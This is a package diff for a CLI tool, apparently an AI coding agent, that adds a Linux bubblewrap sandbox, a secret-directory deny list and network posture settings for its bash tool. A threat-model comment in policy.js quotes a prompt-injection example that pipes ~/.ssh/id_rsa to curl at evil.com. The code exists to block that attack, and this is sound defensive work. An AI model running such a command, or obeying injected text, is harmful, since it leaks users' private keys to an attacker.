@pugi/cli 0.1.0-beta.100 → 0.1.0-beta.101

package/dist/core/sandboxing/bubblewrap.js

@@ -0,0 +1,209 @@
+/**
+ * Linux bubblewrap sandbox adapter (Phase 1 #302).
+ *
+ * Wraps bash command execution with `bwrap` (user-namespace jail).
+ * Policy posture:
+ *
+ *   - Workspace root bound read+write at the same path inside the
+ *     jail so cwd resolves identically for the child.
+ *   - System dirs (/usr, /lib, /lib64, /bin, /sbin, /etc, /opt) bound
+ *     read-only - dev toolchains and shared libraries reachable.
+ *   - /tmp = tmpfs (fresh per-invocation), /proc + /dev mounted so
+ *     standard syscalls work.
+ *   - Secret dirs from the host (~/.ssh, ~/.aws, ~/.config/gh,
+ *     ~/.gitconfig) are NOT bound at all - they vanish from the
+ *     child's view. The deny is structural (no mount), not advisory.
+ *   - Network: `--share-net` only when posture=`lenient` or
+ *     `allowNetwork=true`. Strict drops it via `--unshare-all`
+ *     (default + no override).
+ *
+ * Detection: `bwrap` must be on PATH. We probe via `bwrap --version`
+ * and treat any clean exit as proof the binary is callable. Operators
+ * on a host without bwrap see the install hint
+ * (`apt install bubblewrap` / `brew install bubblewrap`).
+ *
+ * Security note: bwrap requires either CAP_SYS_ADMIN or unprivileged
+ * user namespaces (kernel.unprivileged_userns_clone=1). Modern
+ * distros (Debian 11+, Ubuntu 22.04+, Fedora 35+, Arch) enable this
+ * by default. When the kernel rejects the bwrap invocation, the wrap
+ * succeeds but the spawn fails - the bash tool surfaces the child's
+ * stderr verbatim so the operator sees the kernel-side reason.
+ */
+import { execFileSync } from 'node:child_process';
+import { homedir } from 'node:os';
+import { isAbsolute } from 'node:path';
+import { defaultSecretDirs, resolveNetworkAllowance } from './policy.js';
+const BWRAP_BINARY = 'bwrap';
+/**
+ * Install hint surfaced when bwrap is missing from PATH. We tailor
+ * the hint to the most common Linux package managers; macOS users
+ * normally select `macOS-seatbelt`, not `bubblewrap`, so we still
+ * mention Homebrew for completeness.
+ */
+const BWRAP_INSTALL_HINT = 'Install bwrap: `sudo apt install bubblewrap` (Debian/Ubuntu) or ' +
+    '`sudo dnf install bubblewrap` (Fedora/RHEL) or `brew install bubblewrap` (macOS Homebrew).';
+export class BubblewrapSandboxAdapter {
+    mode = 'bubblewrap';
+    probe(opts) {
+        if (process.platform !== 'linux' && process.platform !== 'darwin') {
+            return {
+                mode: 'bubblewrap',
+                armed: false,
+                reason: `bubblewrap unavailable on ${process.platform} - choose 'none', 'macOS-seatbelt', or 'docker'.`,
+                details: [`platform: ${process.platform}`, `expected: linux (primary) or darwin (homebrew)`],
+                installHint: BWRAP_INSTALL_HINT,
+            };
+        }
+        const bwrapPath = locateBwrap();
+        if (bwrapPath === null) {
+            return {
+                mode: 'bubblewrap',
+                armed: false,
+                reason: 'bwrap binary not found on PATH.',
+                details: [
+                    `platform: ${process.platform}`,
+                    `lookup: PATH`,
+                    `remediation: install the bubblewrap package`,
+                ],
+                installHint: BWRAP_INSTALL_HINT,
+            };
+        }
+        return {
+            mode: 'bubblewrap',
+            armed: true,
+            details: [
+                `platform: ${process.platform}`,
+                `binary: ${bwrapPath}`,
+                `workspaceRoot: ${opts.workspaceRoot}`,
+                `extraWritePaths: ${(opts.extraWritePaths ?? []).join(', ') || '<none>'}`,
+                `posture: ${opts.posture ?? 'strict'}`,
+                `network: ${resolveNetworkAllowance(opts.posture, opts.allowNetwork) ? 'allow' : 'deny'}`,
+            ],
+        };
+    }
+    wrap(cmd, opts) {
+        const armed = this.probe(opts);
+        if (!armed.armed) {
+            throw new Error(`BubblewrapSandboxAdapter.wrap: ${armed.reason}`);
+        }
+        if (!isAbsolute(opts.workspaceRoot)) {
+            throw new Error(`BubblewrapSandboxAdapter.wrap: workspaceRoot must be absolute, got "${opts.workspaceRoot}"`);
+        }
+        for (const p of opts.extraWritePaths ?? []) {
+            if (!isAbsolute(p)) {
+                throw new Error(`BubblewrapSandboxAdapter.wrap: extraWritePaths entry must be absolute, got "${p}"`);
+            }
+        }
+        for (const p of opts.extraReadPaths ?? []) {
+            if (!isAbsolute(p)) {
+                throw new Error(`BubblewrapSandboxAdapter.wrap: extraReadPaths entry must be absolute, got "${p}"`);
+            }
+        }
+        const args = renderBwrapArgs(opts);
+        return {
+            command: BWRAP_BINARY,
+            args: [...args, '--', cmd.command, ...cmd.args],
+            description: `sandbox: bubblewrap (posture=${opts.posture ?? 'strict'})`,
+        };
+    }
+    /**
+     * Exposed for unit tests so the spec can pin the exact argv shape
+     * without driving the whole wrap path.
+     */
+    renderArgs(opts) {
+        return renderBwrapArgs(opts);
+    }
+}
+/**
+ * Compose the bwrap argv from the spawn options. Order matters:
+ *
+ *   1. Namespace flags (`--unshare-all`, optional `--share-net`).
+ *   2. Read-only system binds - provides /usr, /bin, /lib, etc.
+ *   3. /proc + /dev so syscalls work.
+ *   4. tmpfs at /tmp so build scratch never persists.
+ *   5. Read-write bind of workspaceRoot + every extraWritePath.
+ *   6. Read-only bind of every extraReadPath.
+ *
+ * Secret dirs are NOT bound. Because bwrap starts from a fresh mount
+ * namespace, anything not explicitly bound is invisible to the child.
+ * The `defaultSecretDirs` helper exists only for symmetry with the
+ * seatbelt adapter's deny rules - the documentation surface stays
+ * consistent across mechanisms.
+ */
+function renderBwrapArgs(opts) {
+    const home = opts.homedir ?? homedir();
+    const networkAllowed = resolveNetworkAllowance(opts.posture, opts.allowNetwork);
+    const args = [];
+    // Namespace isolation. `--unshare-all` removes every namespace -
+    // pid, mount, ipc, uts, cgroup, net. We selectively re-share net
+    // when the policy says so. `--die-with-parent` makes sure the
+    // child does not outlive the bash tool's spawn() handle.
+    args.push('--die-with-parent');
+    args.push('--unshare-all');
+    if (networkAllowed) {
+        args.push('--share-net');
+    }
+    // Read-only system binds. We bind each path with `--ro-bind-try`
+    // so missing dirs (e.g. /lib64 on a non-multilib host) do not
+    // abort the wrap. The order mirrors a minimal POSIX userland.
+    for (const sys of ['/usr', '/bin', '/sbin', '/lib', '/lib64', '/etc', '/opt']) {
+        args.push('--ro-bind-try', sys, sys);
+    }
+    // /proc + /dev - required for most binaries. /dev is the bwrap
+    // virtual /dev (just null, zero, tty, random, urandom). /proc is
+    // the new namespace's proc, not the host's.
+    args.push('--proc', '/proc');
+    args.push('--dev', '/dev');
+    // Fresh tmpfs at /tmp every invocation. Build scratch never
+    // persists across runs and never leaks into the host's /tmp.
+    args.push('--tmpfs', '/tmp');
+    // Workspace bind: read + write. The bind is at the same path
+    // inside the jail so a relative cwd from the parent resolves
+    // identically inside.
+    args.push('--bind', opts.workspaceRoot, opts.workspaceRoot);
+    // Extra writable paths (typical: ~/.pugi for CLI state).
+    for (const writable of opts.extraWritePaths ?? []) {
+        args.push('--bind', writable, writable);
+    }
+    // Extra read-only paths the operator opted into.
+    for (const readonly of opts.extraReadPaths ?? []) {
+        args.push('--ro-bind-try', readonly, readonly);
+    }
+    // `defaultSecretDirs` is computed-and-ignored here. The intent is
+    // documentation: future operators reading this code see the same
+    // list the seatbelt deny block uses. The structural omission of
+    // these binds IS the deny - referencing the list makes that
+    // explicit.
+    void defaultSecretDirs(home);
+    return args;
+}
+/**
+ * Locate `bwrap` on the operator's PATH. We avoid `which` (not POSIX
+ * everywhere) and `command -v` (shell builtin, not spawn-friendly).
+ * Instead we run `bwrap --version` and treat any clean exit as proof
+ * the binary is callable.
+ */
+function locateBwrap() {
+    try {
+        execFileSync(BWRAP_BINARY, ['--version'], {
+            stdio: ['ignore', 'ignore', 'ignore'],
+            timeout: 3000,
+        });
+        return BWRAP_BINARY;
+    }
+    catch (err) {
+        const e = err;
+        if (e?.code === 'ENOENT')
+            return null;
+        // Non-zero exit (e.g. bwrap with a strange host) still means the
+        // binary exists. We treat it as available; the wrap call will
+        // surface the real failure via the child's stderr.
+        return BWRAP_BINARY;
+    }
+}
+/**
+ * Convenience re-export for callers / specs that want the same hint
+ * string without duplicating the literal.
+ */
+export const BUBBLEWRAP_INSTALL_HINT = BWRAP_INSTALL_HINT;
+//# sourceMappingURL=bubblewrap.js.map

package/dist/core/sandboxing/index.js

@@ -1,7 +1,7 @@
 /**
- * Sandbox adapter resolver (Trust Sprint item 6).
+ * Sandbox adapter resolver (Trust Sprint item 6 + Phase 1 #302).
  *
- * Single re-export surface so consumers (`pugi doctor`, future bash
+ * Single re-export surface so consumers (`pugi doctor`, the bash
  * runner indirection, MCP serve diagnostics) can do:
  *
  *   import { makeAdapter, type SandboxMode } from '.../sandboxing';
@@ -10,10 +10,13 @@
  * lookup table without forcing a circular import between the
  * interface (`adapter.ts`) and the implementations.
  */
+import { BubblewrapSandboxAdapter } from './bubblewrap.js';
 import { NoneSandboxAdapter } from './none.js';
 import { SeatbeltSandboxAdapter } from './seatbelt.js';
+export { BubblewrapSandboxAdapter } from './bubblewrap.js';
 export { NoneSandboxAdapter } from './none.js';
 export { SeatbeltSandboxAdapter } from './seatbelt.js';
+export { SANDBOX_DISABLE_ENV, defaultSecretDirs, isSandboxDisabled, resolveNetworkAllowance, } from './policy.js';
 /**
  * Resolve a sandbox adapter from a configured mode. Throws for
  * `docker` (documented but not shipped in this PR) and for unknown
@@ -25,15 +28,37 @@ export function makeAdapter(mode) {
             return new NoneSandboxAdapter();
         case 'macOS-seatbelt':
             return new SeatbeltSandboxAdapter();
+        case 'bubblewrap':
+            return new BubblewrapSandboxAdapter();
         case 'docker':
             throw new Error('bash sandbox: docker mode is documented but not yet implemented. ' +
-                'Use bash.sandbox = "none" or "macOS-seatbelt" until the docker adapter ships.');
+                'Use bash.sandbox = "none", "macOS-seatbelt", or "bubblewrap" until the docker adapter ships.');
         default: {
             const exhaustive = mode;
             throw new Error(`bash sandbox: unknown mode "${String(exhaustive)}"`);
         }
     }
 }
+/**
+ * Auto-detect the platform-appropriate sandbox mechanism. Returns:
+ *
+ *   - `'macOS-seatbelt'` on darwin
+ *   - `'bubblewrap'` on linux (regardless of whether bwrap is
+ *      installed; the probe surfaces the install hint if missing)
+ *   - `'none'` on every other platform (windows, freebsd, etc.)
+ *
+ * Callers that prefer explicit selection should read
+ * `.pugi/settings.json::bash.sandbox` directly. This helper exists
+ * for the bash tool's "no settings configured" path so the strongest
+ * available mechanism applies by default.
+ */
+export function detectDefaultMode() {
+    if (process.platform === 'darwin')
+        return 'macOS-seatbelt';
+    if (process.platform === 'linux')
+        return 'bubblewrap';
+    return 'none';
+}
 /**
  * Convenience: probe the configured mode without spawning anything.
  * Used by `pugi doctor` so the sandbox probe can report the same
@@ -44,6 +69,10 @@ export function probeSandbox(opts) {
     return adapter.probe({
         workspaceRoot: opts.workspaceRoot,
         ...(opts.extraWritePaths ? { extraWritePaths: opts.extraWritePaths } : {}),
+        ...(opts.extraReadPaths ? { extraReadPaths: opts.extraReadPaths } : {}),
+        ...(opts.posture ? { posture: opts.posture } : {}),
+        ...(opts.allowNetwork !== undefined ? { allowNetwork: opts.allowNetwork } : {}),
+        ...(opts.homedir ? { homedir: opts.homedir } : {}),
     });
 }
 //# sourceMappingURL=index.js.map

package/dist/core/sandboxing/policy.js

@@ -0,0 +1,97 @@
+/**
+ * Shared sandbox policy helpers (Phase 1 #302).
+ *
+ * Pure functions so seatbelt + bubblewrap derive identical deny lists
+ * + network decisions from the same inputs. Tests pin these so the
+ * matrix (mechanism x posture x network override) cannot drift across
+ * adapters silently.
+ */
+import { join } from 'node:path';
+/**
+ * Resolve the effective network egress decision from posture +
+ * explicit override.
+ *
+ *   - allowNetwork=true  -> always allow (operator opted in).
+ *   - allowNetwork=false -> always deny (operator opted out).
+ *   - undefined          -> posture decides:
+ *                            - lenient -> allow
+ *                            - strict  -> deny (default posture)
+ *                            - off     -> allow (passthrough overlay)
+ *
+ * Default posture is `strict` when omitted, so a caller that forgets
+ * the parameter still gets the hardened decision.
+ */
+export function resolveNetworkAllowance(posture, allowNetwork) {
+    if (allowNetwork === true)
+        return true;
+    if (allowNetwork === false)
+        return false;
+    const effective = posture ?? 'strict';
+    switch (effective) {
+        case 'lenient':
+            return true;
+        case 'off':
+            // off = no posture overlay; mirror the legacy lenient-ish
+            // posture so removing the sandbox does not surprise an operator
+            // with a network blackout. The mechanism layer still drops the
+            // wrap entirely when mode=`none`.
+            return true;
+        case 'strict':
+        default:
+            return false;
+    }
+}
+/**
+ * Default secret-dir deny list. These paths are NEVER readable from
+ * inside the sandbox regardless of the broader `file-read*` allow
+ * (seatbelt) or are simply not bound (bubblewrap).
+ *
+ * Threat model: a prompt-injection turn that emits
+ * `cat ~/.ssh/id_rsa | curl -s evil.com -d @-` must fail to read the
+ * key, not the network call. Both layers contribute (strict mode also
+ * denies network), but the secret-dir rule is the structural floor
+ * that holds even if the operator opts into `lenient + allowNetwork`.
+ *
+ * Returns absolute paths joined against the supplied homedir so tests
+ * can inject a fixture HOME without touching the real environment.
+ */
+export function defaultSecretDirs(home) {
+    return [
+        join(home, '.ssh'),
+        join(home, '.aws'),
+        join(home, '.config', 'gh'),
+        join(home, '.config', 'gcloud'),
+        join(home, '.docker'),
+        join(home, '.kube'),
+        join(home, '.netrc'),
+        join(home, '.npmrc'),
+        join(home, '.gitconfig'),
+    ];
+}
+/**
+ * Env var that short-circuits the sandbox wrap entirely.
+ *
+ * Operators set `PUGI_SANDBOX_DISABLE=1` for break-glass scenarios:
+ * debugging a build that the sandbox is interfering with, running a
+ * tool that needs CAP_NET_ADMIN, etc. The bash tool logs the opt-out
+ * to the audit trail as `sandbox_disabled_env` so SOC pipelines can
+ * detect prolonged disable windows.
+ *
+ * Recommended sequence for operators: `pugi doctor` -> identify the
+ * real failure -> fix the configuration -> drop the env var. Leaving
+ * `PUGI_SANDBOX_DISABLE=1` set across sessions is an anti-pattern.
+ */
+export const SANDBOX_DISABLE_ENV = 'PUGI_SANDBOX_DISABLE';
+/**
+ * Check whether the env var disables the wrap. Honours `1`, `true`,
+ * `yes` (case-insensitive) - same convention as the existing
+ * `PUGI_AUDIT_TRAIL_DISABLE` knob.
+ */
+export function isSandboxDisabled(env = process.env) {
+    const value = env[SANDBOX_DISABLE_ENV];
+    if (typeof value !== 'string')
+        return false;
+    const normalised = value.trim().toLowerCase();
+    return normalised === '1' || normalised === 'true' || normalised === 'yes';
+}
+//# sourceMappingURL=policy.js.map

package/dist/core/sandboxing/seatbelt.js

@@ -1,17 +1,23 @@
 /**
- * macOS Seatbelt sandbox adapter (Trust Sprint item 6).
+ * macOS Seatbelt sandbox adapter (Trust Sprint item 6 + Phase 1 #302).
  *
  * Wraps bash command execution with `/usr/bin/sandbox-exec` and a
  * dynamically-generated profile. Policy posture:
  *
- *   - Reads ANYWHERE (so `node_modules` lookups, system headers,
- *     package indices etc all keep working).
+ *   - Reads ANYWHERE by default (so `node_modules` lookups, system
+ *     headers, package indices etc all keep working). The Phase 1
+ *     #302 overlay adds a hard deny for secret dirs (~/.ssh, ~/.aws,
+ *     ~/.config/gh, ~/.gitconfig, etc) so prompt-injection cannot
+ *     exfiltrate credentials even when network egress is allowed.
  *   - Writes ALLOWED under: workspaceRoot, ~/.pugi/, and any
  *     additional paths the caller explicitly passes (typical: /tmp,
  *     plus the resolved pnpm cache dir if it lives outside ~/.pugi).
  *   - Process execution ALLOWED (we need to spawn child binaries to
  *     run pnpm / git / etc).
- *   - Network egress ALLOWED (npm install, git fetch, web fetch).
+ *   - Network egress posture-conditional: `lenient` allows, `strict`
+ *     (default) drops the rule. Operators that need network on
+ *     strict-mode sandboxes flip `sandbox.allowNetwork = true` in
+ *     settings.json without changing posture.
  *
  * Profile is rendered to a tmp file per `wrap()` call. The temp file
  * lives in OS tmpdir with mode 0o600. We do NOT cache the profile
@@ -21,20 +27,22 @@
  * Cancel-cleanup: profile temp files are written with the process
  * pid + random suffix so concurrent calls don't collide. We leave
  * cleanup to the kernel's tmp reaper rather than tracking handles
- * inside the adapter — adding ref-counting would couple the sandbox
+ * inside the adapter; adding ref-counting would couple the sandbox
  * lifecycle to the bash runner and `pugi mcp serve`, both of which
  * are owned by other agents.
  *
  * Security note: sandbox-exec's profile language is best-effort. It
  * is not a kernel-enforced jail. The intent here is to catch
  * accidental writes outside the workspace (e.g. a renamed test that
- * accidentally writes to $HOME), not to harden against a determined
- * attacker who controls the spawned binary.
+ * accidentally writes to $HOME) AND to deny prompt-injection-driven
+ * secret-dir reads. It does not harden against a determined attacker
+ * who controls the spawned binary.
  */
 import { execFileSync } from 'node:child_process';
 import { mkdtempSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
+import { homedir, tmpdir } from 'node:os';
 import { isAbsolute, join } from 'node:path';
+import { defaultSecretDirs, resolveNetworkAllowance } from './policy.js';
 const SANDBOX_EXEC_PATH = '/usr/bin/sandbox-exec';
 export class SeatbeltSandboxAdapter {
     mode = 'macOS-seatbelt';
@@ -43,8 +51,10 @@ export class SeatbeltSandboxAdapter {
             return {
                 mode: 'macOS-seatbelt',
                 armed: false,
-                reason: `macOS-seatbelt unavailable on ${process.platform} — choose 'none' or 'docker'.`,
+                reason: `macOS-seatbelt unavailable on ${process.platform} - choose 'none', 'bubblewrap', or 'docker'.`,
                 details: [`platform: ${process.platform}`, `expected: darwin`],
+                installHint: 'On Linux use `bash.sandbox = "bubblewrap"` (install via `sudo apt install bubblewrap`). ' +
+                    'On Windows use mode `docker` (not shipped yet) or `none`.',
             };
         }
         if (!sandboxExecBinaryAvailable()) {
@@ -56,6 +66,8 @@ export class SeatbeltSandboxAdapter {
                     `binary: ${SANDBOX_EXEC_PATH}`,
                     'remediation: verify Apple has not deprecated the binary on this macOS major.',
                 ],
+                installHint: '`sandbox-exec` ships with macOS by default; if missing, the macOS install is incomplete. ' +
+                    'Switch `bash.sandbox` to "none" until the binary is restored.',
             };
         }
         return {
@@ -66,6 +78,8 @@ export class SeatbeltSandboxAdapter {
                 `binary: ${SANDBOX_EXEC_PATH}`,
                 `workspaceRoot: ${opts.workspaceRoot}`,
                 `extraWritePaths: ${(opts.extraWritePaths ?? []).join(', ') || '<none>'}`,
+                `posture: ${opts.posture ?? 'strict'}`,
+                `network: ${resolveNetworkAllowance(opts.posture, opts.allowNetwork) ? 'allow' : 'deny'}`,
             ],
         };
     }
@@ -82,11 +96,16 @@ export class SeatbeltSandboxAdapter {
                 throw new Error(`SeatbeltSandboxAdapter.wrap: extraWritePaths entry must be absolute, got "${p}"`);
             }
         }
+        for (const p of opts.extraReadPaths ?? []) {
+            if (!isAbsolute(p)) {
+                throw new Error(`SeatbeltSandboxAdapter.wrap: extraReadPaths entry must be absolute, got "${p}"`);
+            }
+        }
         const profilePath = writeProfileFile(opts);
         return {
             command: SANDBOX_EXEC_PATH,
             args: ['-f', profilePath, cmd.command, ...cmd.args],
-            description: `sandbox: macOS-seatbelt (profile=${profilePath})`,
+            description: `sandbox: macOS-seatbelt (profile=${profilePath}, posture=${opts.posture ?? 'strict'})`,
         };
     }
     /**
@@ -111,8 +130,8 @@ function sandboxExecBinaryAvailable() {
     }
     catch (err) {
         const e = err;
-        // ENOENT means the binary itself is missing. A non-zero exit code
-        // (sandbox-exec usage banner) is success for our purposes.
+        // ENOENT means the binary itself is missing. A non-zero exit
+        // code (sandbox-exec usage banner) is success for our purposes.
         if (e?.code === 'ENOENT')
             return false;
         return true;
@@ -128,12 +147,19 @@ function writeProfileFile(opts) {
 /**
  * Generate the Seatbelt profile. Keep the language tight:
  *
- *   - (version 1) — required header.
- *   - (deny default) — start from no permissions.
- *   - (allow process*) — allow spawning child processes.
- *   - (allow file-read*) — reads unrestricted.
- *   - (allow file-write* (subpath "...")) — writes scoped.
- *   - (allow network*) — egress unrestricted.
+ *   - (version 1) - required header.
+ *   - (deny default) - start from no permissions.
+ *   - (allow process*) - allow spawning child processes.
+ *   - (allow file-read*) - reads unrestricted by default.
+ *   - (deny file-read* secret-dirs) - overlay secret-dir denies on
+ *      top of the broad allow. Sandbox-exec applies subsequent deny
+ *      rules even after a broad allow, so this is the structural
+ *      floor that holds for both `lenient` and `strict` postures.
+ *   - (allow file-write* (subpath "...")) - writes scoped to
+ *      workspace + extras only.
+ *   - (allow network*) - egress posture-conditional. `strict` drops
+ *      the rule entirely; `lenient` keeps the upstream-compatible
+ *      blanket allow.
  *   - (allow signal) + sysctl-read for normal node operation.
  */
 function renderProfile(opts) {
@@ -148,7 +174,21 @@ function renderProfile(opts) {
     const deviceRules = devicePaths
         .map((p) => `  (literal ${quoteForSeatbelt(p)})`)
         .join('\n');
-    return [
+    // Secret-dir deny overlay. Derived from the shared policy module
+    // so seatbelt + bubblewrap stay in lockstep on the threat model.
+    const home = opts.homedir ?? homedir();
+    const secretDirs = defaultSecretDirs(home);
+    const secretDenyRules = secretDirs
+        .map((p) => `  (subpath ${quoteForSeatbelt(p)})`)
+        .join('\n');
+    // Posture-conditional network rule. Default posture is `strict`
+    // because forgetting the parameter must not silently re-open
+    // egress.
+    const networkAllowed = resolveNetworkAllowance(opts.posture, opts.allowNetwork);
+    const networkRule = networkAllowed
+        ? '(allow network*)'
+        : '; network egress denied (posture=strict, allowNetwork=false)';
+    const lines = [
         '(version 1)',
         '(deny default)',
         '(allow process-exec)',
@@ -156,17 +196,25 @@ function renderProfile(opts) {
         '(allow signal (target self))',
         '(allow sysctl-read)',
         '(allow file-read*)',
+        // Hard deny secret dirs even after the broad file-read* allow.
+        '(deny file-read*',
+        secretDenyRules,
+        ')',
+        '(deny file-write*',
+        secretDenyRules,
+        ')',
         '(allow file-write*',
         writeRules,
         ')',
         '(allow file-write*',
         deviceRules,
         ')',
-        '(allow network*)',
+        networkRule,
         '(allow mach-lookup)',
         '(allow ipc-posix-shm)',
         '',
-    ].join('\n');
+    ];
+    return lines.join('\n');
 }
 /**
  * Seatbelt profile string literals use TCL-style double-quoted

package/dist/core/settings.js

@@ -235,15 +235,19 @@ const pugiSettingsSchema = z.object({
         cleanupPeriodDays: z.number().int().min(0).max(365).optional(),
     })
         .optional(),
-    // Trust Sprint item 6 — bash sandbox adapter selection.
+    // Trust Sprint item 6 + Phase 1 #302 — bash sandbox adapter selection.
     //
-    //   `none`             — passthrough (existing behaviour, default).
+    //   `none`             — passthrough (legacy behaviour, default).
     //   `macOS-seatbelt`   — wraps spawn calls in `/usr/bin/sandbox-exec`
-    //                        with a profile that allows reads anywhere,
+    //                        with a profile that allows reads anywhere
+    //                        EXCEPT secret dirs (~/.ssh, ~/.aws, etc),
     //                        denies writes outside workspace + ~/.pugi,
-    //                        and permits standard network egress so
-    //                        `npm install` / `git fetch` still work.
-    //   `docker`           — Linux fallback (NOT shipped in this PR;
+    //                        and gates network egress by posture.
+    //   `bubblewrap`       — Linux `bwrap` user-namespace jail. Workspace
+    //                        bound read+write, /usr+/lib read-only, /tmp
+    //                        tmpfs, secret dirs structurally absent.
+    //                        Posture toggles `--share-net`.
+    //   `docker`           — Windows fallback (NOT shipped in this PR;
     //                        accepted in the schema so settings.json
     //                        does not error when operators forward-look
     //                        at the keyword. Adapter throws at boot if
@@ -254,7 +258,27 @@ const pugiSettingsSchema = z.object({
     // what a tool CAN do; the classifier bounds what a tool TRIES.
     bash: z
         .object({
-        sandbox: z.enum(['none', 'macOS-seatbelt', 'docker']).optional(),
+        sandbox: z.enum(['none', 'macOS-seatbelt', 'bubblewrap', 'docker']).optional(),
+    })
+        .optional(),
+    // Phase 1 #302 — posture overlay independent of mechanism. The
+    // mechanism (above, `bash.sandbox`) selects the OS primitive;
+    // posture controls how strict the policy on top is. Keep them
+    // orthogonal so an operator can pick `bubblewrap + lenient` to ship
+    // network access on Linux without losing the secret-dir deny.
+    //
+    //   posture          — strict (default) | lenient | off.
+    //   allowNetwork     — explicit override; flips posture's network
+    //                      decision without changing posture itself.
+    //   extraReadPaths   — absolute paths that bypass the default
+    //                      secret-dir deny list. Used когда an operator
+    //                      legitimately needs to read e.g. ~/.npmrc from
+    //                      inside the sandbox для package publish.
+    sandbox: z
+        .object({
+        posture: z.enum(['off', 'lenient', 'strict']).optional(),
+        allowNetwork: z.boolean().optional(),
+        extraReadPaths: z.array(z.string()).optional(),
     })
         .optional(),
 });